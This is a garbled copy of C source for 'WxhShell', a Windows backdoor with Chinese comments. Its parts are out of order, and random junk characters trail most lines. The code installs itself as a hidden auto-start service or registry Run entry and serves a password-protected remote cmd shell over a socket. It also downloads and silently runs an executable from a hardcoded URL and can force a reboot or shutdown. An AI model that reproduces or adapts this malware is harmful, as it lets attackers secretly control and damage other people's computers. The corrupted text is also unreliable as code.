    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P*j|.63  
    else { 3Y$GsN4ln  
    closesocket(wsh); #H~64/  
    ExitThread(0); M\BRcz  
    } 0g8NHkM:2a  
    break; K-Ef%a2#`  
    } ]Y&VT7+Z  
  // 获取shell ;$g?T~v7  
  case 's': { V'gh 6`v  
    CmdShell(wsh); 5{,<j\#L  
    closesocket(wsh); 9pfIzs su3  
    ExitThread(0); ECmW`#Otb)  
    break; Z% UP6%  
  } ,ig/s2ZG6X  
  // 退出 8}:nGK|kx  
  case 'x': { FS.L\MjV]U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5b7RY V  
    CloseIt(wsh); `R^gU]Z,  
    break; $6IJ P\  
    } Nh +H9  
  // 离开 5z)~\;[ -  
  case 'q': { &rR2,3r=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N;%6:I./  
    closesocket(wsh); F#E3q|Q"BS  
    WSACleanup(); @=u3ZVD  
    exit(1); JucY[`|JV  
    break; y@yD5$/  
        } 8&dF  
  } \9EjClf o  
  } E]r?{t`]  
w0unS`\4  
  // 提示信息 |R:'\+E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wMN]~|z>  
} dPRra{  
  } >9J:Uo1z  
*LY8D<:zs  
  return; l'E6CL}@[  
} .=; ;  
`Pnoxm'  
// shell模块句柄 ~g t@P  
int CmdShell(SOCKET sock) dj%!I:Q>u  
{ @C aG9]  
STARTUPINFO si; A3*!"3nU  
ZeroMemory(&si,sizeof(si));  %;!.n{X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qqU 64E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hi[pVk~B)  
PROCESS_INFORMATION ProcessInfo; V=3b&TkE  
char cmdline[]="cmd"; Flb&B1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ],].zlN  
  return 0; EoDA]6?Lj  
} -UT}/:a  
,hmL/K0"(5  
// 自身启动模式 &)<)^.@3G^  
int StartFromService(void) Cgc\ ah  
{ cB&:z)i4  
typedef struct f%hEnZv  
{ \73ch  
  DWORD ExitStatus; 32 =z)]FZ  
  DWORD PebBaseAddress;  9gZ$   
  DWORD AffinityMask; P!k{u^$L  
  DWORD BasePriority; |ENh)M8}r  
  ULONG UniqueProcessId; kG*~ |ma  
  ULONG InheritedFromUniqueProcessId; NGWxN8P6  
}   PROCESS_BASIC_INFORMATION; / XIhj  
+ck}l2&#  
PROCNTQSIP NtQueryInformationProcess; .N(p=9  
bZV/l4TU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %8x#rohP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *{{89E>wC  
U/BR*Zn]*  
  HANDLE             hProcess; :M5l*sIO2  
  PROCESS_BASIC_INFORMATION pbi; zx7{U8*`<  
zdH kG_PT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5kXYeP3:  
  if(NULL == hInst ) return 0; ehY5!D1Q  
L/^I*p,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HpnWo DM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z%\,w(o[h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GPkpXVm  
fikkY=  
  if (!NtQueryInformationProcess) return 0; 40 0#v|b  
cN9t{.m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J$v?T$LVw  
  if(!hProcess) return 0; 1-QS~)+  
.%QXzIa3F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W@!S%Y9  
7x a>  
  CloseHandle(hProcess); Q NVa?'0"Y  
 8dyg1F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wlmRe`R  
if(hProcess==NULL) return 0; {]|J5Dgfe  
m j@13$=  
HMODULE hMod; 5/z/>D;  
char procName[255]; =nHgDrA_  
unsigned long cbNeeded; gPc=2  
t&DEb_"De  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ti&z1_u  
8HdAFRw  
  CloseHandle(hProcess); -|\ZrE_h  
^sg,\zD 'X  
if(strstr(procName,"services")) return 1; // 以服务启动 sn>~O4"  
}:#P)8/v>%  
  return 0; // 注册表启动 =mmWl9'mJ  
} b<u3 hln%,  
HUOj0T  
// 主模块 xn|(9#1o  
int StartWxhshell(LPSTR lpCmdLine) PnG-h~Y3N  
{ N)>ID(}F1  
  SOCKET wsl; Zj4Uak  
BOOL val=TRUE; GowH]MO  
  int port=0; jlg(drTo  
  struct sockaddr_in door; 5rUdv}.  
gltBC${7wZ  
  if(wscfg.ws_autoins) Install(); uSBa DYg  
T9q-,w/j;  
port=atoi(lpCmdLine); 2VCI 1E  
*HB-QIl  
if(port<=0) port=wscfg.ws_port; #LN`X8Wz'  
3DG_QVg^v  
  WSADATA data; .w ,q0<}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HE_8(Ms ;8  
Vs{|xG7W D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v74&BL]a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0Fr?^3h  
  door.sin_family = AF_INET; Oz#{S:24M+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d*Fj3Wkx  
  door.sin_port = htons(port); Q)z8PQl O  
sFTy(A/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ji,kkipY?w  
closesocket(wsl); RY*U"G0#w  
return 1; qb` \)X]9  
} f'3$9x  
]]j;/TiG  
  if(listen(wsl,2) == INVALID_SOCKET) { 5QO9Q]I#_\  
closesocket(wsl); ~.lPEA %%  
return 1; _oDz-  
} vgN&K@hJ  
  Wxhshell(wsl); !FFU=f  
  WSACleanup(); @!d{bQd,  
 1ZB"EQ  
return 0; _8agtQ:<  
$]2vvr  
} !_Z&a  
R_S.tT!  
// 以NT服务方式启动 ?#Q #u|~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lCHO;7YHX  
{ *s iFj CN<  
DWORD   status = 0; R,=fv   
  DWORD   specificError = 0xfffffff; iMRwp+$  
'(jG[ry&T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Lbb0_-']  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QnX(V[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i<g-+Qs  
  serviceStatus.dwWin32ExitCode     = 0; YkQd  
  serviceStatus.dwServiceSpecificExitCode = 0; 1]/.` ]1  
  serviceStatus.dwCheckPoint       = 0; g9 5`.V}  
  serviceStatus.dwWaitHint       = 0; @2v_pJy^  
2gVm9gAHUd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2SR:FUV/  
  if (hServiceStatusHandle==0) return; 9490o:s  
)TM4R)r%)9  
status = GetLastError(); i8HTzv"J  
  if (status!=NO_ERROR) 8Kk(8a&v  
{ DrK{}uM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8BNi1Qn$  
    serviceStatus.dwCheckPoint       = 0; I ?.^ho  
    serviceStatus.dwWaitHint       = 0; LvYB7<zk>  
    serviceStatus.dwWin32ExitCode     = status; m/EFHS49  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4#hSJ(~7S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cDkf qcC  
    return; )B8$<sv  
  } r^ ZEImjc  
lBGQEP3;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mBON$sF|  
  serviceStatus.dwCheckPoint       = 0; 0h7r&t%YsV  
  serviceStatus.dwWaitHint       = 0; ,L'zRyP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YQA ,f#  
} Q#[9|A9  
W-lN>]5}m  
// 处理NT服务事件,比如:启动、停止 fZA4q0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }txX; "/  
{ Aj]V`B:65  
switch(fdwControl) FH+s s!  
{ \v)+.m?n  
case SERVICE_CONTROL_STOP: gCY';\f!  
  serviceStatus.dwWin32ExitCode = 0; v0jgki4 t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Hc(OI|z~  
  serviceStatus.dwCheckPoint   = 0; kt$jm)UI~l  
  serviceStatus.dwWaitHint     = 0; XACm[NY_  
  { ]-QA'Lq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,:\|7F  
  } TT3|/zwn  
  return; \d$!a5LF}  
case SERVICE_CONTROL_PAUSE: G+|` 2an  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /J6rv((  
  break; 0}q uG^%_  
case SERVICE_CONTROL_CONTINUE: aPbE;" f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q^txVUL  
  break; dL )<% o  
case SERVICE_CONTROL_INTERROGATE: 5( HG|  
  break; x{/g(r={}  
}; 5iyd Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  zi`o#+  
} ]+:^W^bs:  
(;^syJrh  
// 标准应用程序主函数 J!U}iD@occ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S\!ana])  
{ !H>R%g#28_  
M?uC%x+S$_  
// 获取操作系统版本 xAMW-eF?d  
OsIsNt=GetOsVer(); r<Kx0`y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3HY9\'t6  
O55 xS+3^k  
  // 从命令行安装 !5uGd`^I  
  if(strpbrk(lpCmdLine,"iI")) Install(); cJ @Wt>YI  
03S]8l  
  // 下载执行文件 HBx=\%;n  
if(wscfg.ws_downexe) { Z^MNf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !^Y(^RS@  
  WinExec(wscfg.ws_filenam,SW_HIDE); cY.bO/&l  
} ><HE;cVg?  
l}sjD[2  
if(!OsIsNt) { K1!j fp  
// 如果时win9x,隐藏进程并且设置为注册表启动 ax5<#3__  
HideProc(); ur7q [n  
StartWxhshell(lpCmdLine); ut/=R !(K  
} =D#bb <o  
else :$BCRQ  
  if(StartFromService()) um>6z_"  
  // 以服务方式启动 ^\&e:Nkh  
  StartServiceCtrlDispatcher(DispatchTable); !9P';p}2  
else 2JcjZn  
  // 普通方式启动 *w0%d1  
  StartWxhshell(lpCmdLine); Jcm&RI"{  
JQHvz9Yg  
return 0; tc{s B\&-  
} !6Mo]xh  
O2dW6bt  
)*x6 FfTUd  
u-G+ j)  
=========================================== bTs?!~q  
yT9@!]^L  
% 0+j?>#X  
1gN=-AC  
!LN?PKJ  
s'J:f$flS  
" xw2[d+mB  
ILShd)]Rw  
#include <stdio.h> RcU}}V  
#include <string.h> 6wECo  
#include <windows.h> !.(P~j][  
#include <winsock2.h> T&o(N3lW  
#include <winsvc.h> G.dTvLv  
#include <urlmon.h> /?F/9hL  
(tw)nF  
#pragma comment (lib, "Ws2_32.lib") &/]Fc{]^$f  
#pragma comment (lib, "urlmon.lib") :;fHDU|  
lHe{\N[C  
#define MAX_USER   100 // 最大客户端连接数 $ Kncvu  
#define BUF_SOCK   200 // sock buffer Zu("#cA.H  
#define KEY_BUFF   255 // 输入 buffer xx9 g''Q  
$#pP Z  
#define REBOOT     0   // 重启 7f!YoW;1  
#define SHUTDOWN   1   // 关机 ^mO~ W!"  
V"G*N<q  
#define DEF_PORT   5000 // 监听端口 @{tz:f  
F Yzi~L  
#define REG_LEN     16   // 注册表键长度 3! oi+_  
#define SVC_LEN     80   // NT服务名长度 dD|OSB7 I7  
^pF&` 2eD  
// 从dll定义API QD*35Y!d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [dIXR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !1 8clL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aa#Y=%^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'yG4 LF  
o{q{!7DH@  
// wxhshell配置信息 .ndCfdy~  
struct WSCFG { ?3zc=J"t  
  int ws_port;         // 监听端口 \VyZ  
  char ws_passstr[REG_LEN]; // 口令 "8^ Ch{G-  
  int ws_autoins;       // 安装标记, 1=yes 0=no v)t:|Q{I  
  char ws_regname[REG_LEN]; // 注册表键名 OJ5#4qJ[  
  char ws_svcname[REG_LEN]; // 服务名 <;m<8RjX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4UvZ)^r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MWpQ^dL_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4DOH`6#an  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "ZsOd>[/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :^WKT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *><F'   
~8P!XAU56%  
}; z(Pe,zES  
.e=:RkI,  
// default Wxhshell configuration ADP%QTdqFJ  
struct WSCFG wscfg={DEF_PORT, Et/\xL  
    "xuhuanlingzhe", @As[k2  
    1, c[4i9I3v  
    "Wxhshell", `e|0g"oP  
    "Wxhshell", <vh/4  
            "WxhShell Service", kJzoFFWo$  
    "Wrsky Windows CmdShell Service", 6qoyiT%P&  
    "Please Input Your Password: ", [] `&vWZ  
  1, _'>oXQJ  
  "http://www.wrsky.com/wxhshell.exe", ``Dq  
  "Wxhshell.exe" s!&#c`=  
    }; 9c#+qH  
pU%n]]qF  
// 消息定义模块 #W'HR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C|). ;V&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1&)?JZhg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nvJf/90$  
char *msg_ws_ext="\n\rExit."; ]?+p5;{y4  
char *msg_ws_end="\n\rQuit."; !K}~/9Z=m  
char *msg_ws_boot="\n\rReboot..."; (ehK?6[  
char *msg_ws_poff="\n\rShutdown..."; `W:%mJd9  
char *msg_ws_down="\n\rSave to "; ?:8ido#-  
+*T7@1  
char *msg_ws_err="\n\rErr!"; Dhw(#{N  
char *msg_ws_ok="\n\rOK!"; UU mTOJr  
2w_WAdi  
char ExeFile[MAX_PATH]; 8I8 F/47x  
int nUser = 0; $.PuK~}  
HANDLE handles[MAX_USER]; 'y2nN=CN  
int OsIsNt; PQnF  
/VS [pXXT|  
SERVICE_STATUS       serviceStatus; m~P CB_ifW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V4P; 5[  
NI#:|}CYS  
// 函数声明 ,5kKimTt  
int Install(void); 7;sj%U^'l  
int Uninstall(void); bRJMYs  
int DownloadFile(char *sURL, SOCKET wsh); 1+qw$T  
int Boot(int flag); t2"O  
void HideProc(void); qnJt5  
int GetOsVer(void); ?NR A:t(}  
int Wxhshell(SOCKET wsl); wF,UE _  
void TalkWithClient(void *cs); iH@yCNE"  
int CmdShell(SOCKET sock); VsgE!/>1  
int StartFromService(void); qY<'<T4\  
int StartWxhshell(LPSTR lpCmdLine); ujaG Ng?,  
!2A:"2Kys:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +!z{5:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RIXMJ7e7  
RHq/JD-  
// 数据结构和表定义 Z!@~>i  
SERVICE_TABLE_ENTRY DispatchTable[] = *-q"3 D`  
{ /<}m? k\  
{wscfg.ws_svcname, NTServiceMain}, >.'*) @vQi  
{NULL, NULL} Nz+9 49X  
}; rI>aAW'  
8lb%eb]U  
// 自我安装 SAK!z!t  
int Install(void) L%K\C  
{ NufLzg{  
  char svExeFile[MAX_PATH]; sz {e''q  
  HKEY key; H]p!\H  
  strcpy(svExeFile,ExeFile); "@d[h,TM  
wsN?[=l{s  
// 如果是win9x系统,修改注册表设为自启动 /VzI'^  
if(!OsIsNt) { J(%0z:exs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \"^w'ng  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =fve/_Q~  
  RegCloseKey(key); sqJSSNt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ 3?LqJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U,gti,IX^  
  RegCloseKey(key); P h}|dGb  
  return 0; %D8ZO0J7H  
    } 7L@K _ZJ  
  } M^iU;vo  
} RIE5KCrGB  
else { iz?tu: \v&  
/yF QeE  
// 如果是NT以上系统,安装为系统服务 2Sp=rI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pN9A{v(  
if (schSCManager!=0) %8Dz o  
{ a{J,~2>  
  SC_HANDLE schService = CreateService Eam  
  ( }_;!hdY q  
  schSCManager, gO,25::")  
  wscfg.ws_svcname, xY U.D+RY  
  wscfg.ws_svcdisp, 2 fS[J'-o  
  SERVICE_ALL_ACCESS, WxJf{=-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  2KN6}  
  SERVICE_AUTO_START, ~r$jza~o(  
  SERVICE_ERROR_NORMAL, ]Xf% ,iu  
  svExeFile, t|<NI+H(e  
  NULL, On@<J&%  
  NULL, 4RV%Z!kcD!  
  NULL, 0=q;@OIf  
  NULL, * U$!I?  
  NULL 2aB^WY'tC  
  ); B`o]*"xkB  
  if (schService!=0) S h,&{z!  
  { 'd&0Js$^  
  CloseServiceHandle(schService); \nB8WSvk2W  
  CloseServiceHandle(schSCManager); 199]WHc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'GoZqiYT  
  strcat(svExeFile,wscfg.ws_svcname); Da:unVbU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ck@J,~x1D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HJ[/|NZU$  
  RegCloseKey(key); ~7t$MF.  
  return 0; >sjhA|gXk  
    } /K{9OT@>  
  } ""h)LUrl  
  CloseServiceHandle(schSCManager); )a3J9a;ZS0  
} L%$|^T=%  
} E+tB&  
N, *m ,  
return 1; D?,#aB"  
} bY2 C]r(n  
xD /9F18  
// 自我卸载 ?N=m<fn  
int Uninstall(void) Cb@3M"1:  
{ drd/jH&  
  HKEY key; )r z+'|,  
*"98L+  
if(!OsIsNt) { ^/ =#UQ*k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b}w C|\s  
  RegDeleteValue(key,wscfg.ws_regname); k({\/t3i  
  RegCloseKey(key); c.f"Gv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { "xln/  
  RegDeleteValue(key,wscfg.ws_regname); :nS;W  
  RegCloseKey(key); }%`~T>/  
  return 0; )T66<UDK|  
  } ]I.n\2R]om  
} d90Z,nex  
} [kzd(u  
else { kWb2F7m  
;v~-'*0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (N K9vW4F  
if (schSCManager!=0) *;U'[H3Q  
{ 9lj!C '  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rgf#wH%hN  
  if (schService!=0) s/e"'Hz  
  { @@g\2Gs  
  if(DeleteService(schService)!=0) { y"<))-MH  
  CloseServiceHandle(schService); 8?O>ZZtu  
  CloseServiceHandle(schSCManager); P;8>5;U4-  
  return 0; l Js <  
  } /?6|&  
  CloseServiceHandle(schService); C"qU-&*v  
  } qXW})(  
  CloseServiceHandle(schSCManager); dg7=X{=9jv  
} KZ e)K_1[  
} XJ+6FT/qss  
%77p5ctW  
return 1; @[?!s%*2  
} nGf);U#K  
&Q=ZwC7#  
// 从指定url下载文件 omf  Rs  
int DownloadFile(char *sURL, SOCKET wsh) cZ+7.oDu  
{ yag}fQ(XH  
  HRESULT hr; qxMnp}O  
char seps[]= "/"; !epgTN  
char *token; HXVBb%pP  
char *file; CG&`16KN7  
char myURL[MAX_PATH]; Koln9'tB  
char myFILE[MAX_PATH]; tPyyZ#,  
Xvok1NM,  
strcpy(myURL,sURL);  /n^c>)  
  token=strtok(myURL,seps); sNHSr  
  while(token!=NULL) =AEz9d ciS  
  { eL.7#SIr}  
    file=token; G>Em! 4h  
  token=strtok(NULL,seps); HFQR ;9]  
  } rJ'I>Q~x6  
o:dR5v  
GetCurrentDirectory(MAX_PATH,myFILE); i=32KI(%  
strcat(myFILE, "\\");  5q<zN  
strcat(myFILE, file); ^Ori| 4}'  
  send(wsh,myFILE,strlen(myFILE),0); DrvtH+e  
send(wsh,"...",3,0); m:O(+Fl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y8bM<e2 U  
  if(hr==S_OK) OAZ#|U   
return 0; '69ZdP/xX  
else tNmy& nsA  
return 1; ! sA_?2$  
yWHiw<  
} Zx?b<"k  
6ZqgY1  
// 系统电源模块 kDYN>``biP  
int Boot(int flag) W;Jx<-#1  
{ `wTlyS3[  
  HANDLE hToken; & Rz, J]  
  TOKEN_PRIVILEGES tkp; 2o[IHO]  
GfyX'(ge  
  if(OsIsNt) { |\uYv|sT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bv dR"G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h? yG<>wI  
    tkp.PrivilegeCount = 1; *sfD#Bi]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F[7x*-NO-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ` e{BId  
if(flag==REBOOT) { B7-RU<n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9f}XRz  
  return 0; )06iV  
} 4*UP. r@  
else { :PnSQjV:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8C.!V =@\  
  return 0; 6j8 <Q 2  
} jUjr6b"  
  } !m{2WW-  
  else { 9-bG<`v\E  
if(flag==REBOOT) { H.O(*Q=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [H"#7t.V-~  
  return 0; [ij,RE7,T  
} g>7Y~_}  
else { {lzG*4?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jV7&Y.$zF]  
  return 0; Yi rC*  
} eE/%6g  
} {rkn q_;0  
 8R69q:  
return 1; af+}S9To  
} 8h?X!2Nq  
2 6:evid  
// win9x进程隐藏模块 5>ST"l_ca  
void HideProc(void) O'}l lo  
{  ?9u4a_x  
N^elVu4 K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^4`&EF  
  if ( hKernel != NULL ) _& 4its  
  { t&814Uf&\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D)&o8D`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f@:CyB GQ  
    FreeLibrary(hKernel); j [S`^2  
  } iTNqWU-o  
?:|YGLaB  
return; U?U(;nSR\A  
} |r~ uos  
Q59/ex  
// 获取操作系统版本 B$`lY DqaG  
int GetOsVer(void) gf$HuCh|  
{ -%uy63LbHF  
  OSVERSIONINFO winfo; 5&4F,v[zp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t,vTAq.))  
  GetVersionEx(&winfo); $M]%vG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2Yyb#Ow  
  return 1; WhUa^  
  else  "jU  
  return 0; bBE^^9G=Z  
} 4NVgOr:  
&?$\Y,{  
// 客户端句柄模块 Cals?u#U=  
int Wxhshell(SOCKET wsl) B {i&~k  
{ Io+IRK  
  SOCKET wsh; ] EyeBF)$  
  struct sockaddr_in client; NFoZ4R1gy  
  DWORD myID; cy:;)E>/  
^L~ [+|  
  while(nUser<MAX_USER) /;UTC)cJ  
{ pa] TeH  
  int nSize=sizeof(client); -v*x V;[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \FI^ Vk  
  if(wsh==INVALID_SOCKET) return 1; ^~I @ spR4  
X"J%R/f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iE{Oit^aG  
if(handles[nUser]==0) `03<0L   
  closesocket(wsh); +IsWI;lp  
else >1XL;)IL>  
  nUser++; dx359  
  } x9*ys;~w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  g@(30{  
CB@B.)E  
  return 0; *7vue"I*Z  
} ^X;JT=r  
U3q5^{0d/  
// 关闭 socket byj[u!{  
void CloseIt(SOCKET wsh) z`9l<Q/  
{ {dZ8;Fy4  
closesocket(wsh); 9XN~Ln@}  
nUser--; 2<.Vv\ =  
ExitThread(0); 2?*1~ 5~I  
} ` t\z   
pFH?/D/q  
// 客户端请求句柄 L9'-  
void TalkWithClient(void *cs) cd"wNH-  
{ 2 TCRS#z  
5fxbA2\  
  SOCKET wsh=(SOCKET)cs; }@4| 7  
  char pwd[SVC_LEN]; y84XoDQ  
  char cmd[KEY_BUFF]; 2vXGO|W  
char chr[1]; uk{J@&F  
int i,j; G+Ei#:W,  
rH^/8|}&s  
  while (nUser < MAX_USER) { "11j$E9#\n  
<d<RK@2-  
if(wscfg.ws_passstr) { 9_` 3IJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o;'4c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fsb=8>}63}  
  //ZeroMemory(pwd,KEY_BUFF); Pu/lpHm|  
      i=0; =[8d@d\  
  while(i<SVC_LEN) { QW:Z[?39^  
0JOju$Bl,  
  // 设置超时 _9qEZV  
  fd_set FdRead; i-Ljff  
  struct timeval TimeOut; I9s$bRbT  
  FD_ZERO(&FdRead); Q~CpP9%  
  FD_SET(wsh,&FdRead); 8ok7|DJ  
  TimeOut.tv_sec=8; z5I^0'  
  TimeOut.tv_usec=0; Lj-{t% }  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $ACe\R/%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >|S>J+(  
V?WMj $l<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gNi}EP5>  
  pwd=chr[0]; :Q#H(\26r  
  if(chr[0]==0xd || chr[0]==0xa) { \Em-.%c  
  pwd=0; DwC@"i.  
  break; F_~6n]Sr  
  } 5lG|A6+w{  
  i++; A&?WP\_z  
    } O^Dc&w  
m>+A*M8  
  // 如果是非法用户,关闭 socket _.hIv8V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i&B?4J)  
} T7X!#j" \  
EXH!glR[$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dR%q1Y&`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !}C4{Bgt*  
-{r!M(47  
while(1) { ]qF<Zw7  
%G^(T%q| m  
  ZeroMemory(cmd,KEY_BUFF); } pSt@3o,  
N)Qlkz$X  
      // 自动支持客户端 telnet标准   ^w ]1qjGw  
  j=0; jBGG2[hV  
  while(j<KEY_BUFF) { O\:;q*]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y~}QJ+`?  
  cmd[j]=chr[0]; .M`LUb"!  
  if(chr[0]==0xa || chr[0]==0xd) { U0ns3LirP  
  cmd[j]=0; xBt4~q;#sE  
  break; xg4T` ])  
  } }$&);7(w  
  j++; =54Vs8.  
    } )OS>9 kFH  
.Lp Nm'=R  
  // 下载文件 4E,hcu  
  if(strstr(cmd,"http://")) { re2Fv:4{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c@)pKi#W  
  if(DownloadFile(cmd,wsh)) L)j]~^P$-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8p3ZF@c~ t  
  else aslNlH6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _g^E%@'W  
  } s-Q7uohK  
  else { 1'gKZB)TG7  
H{&a)!Ms  
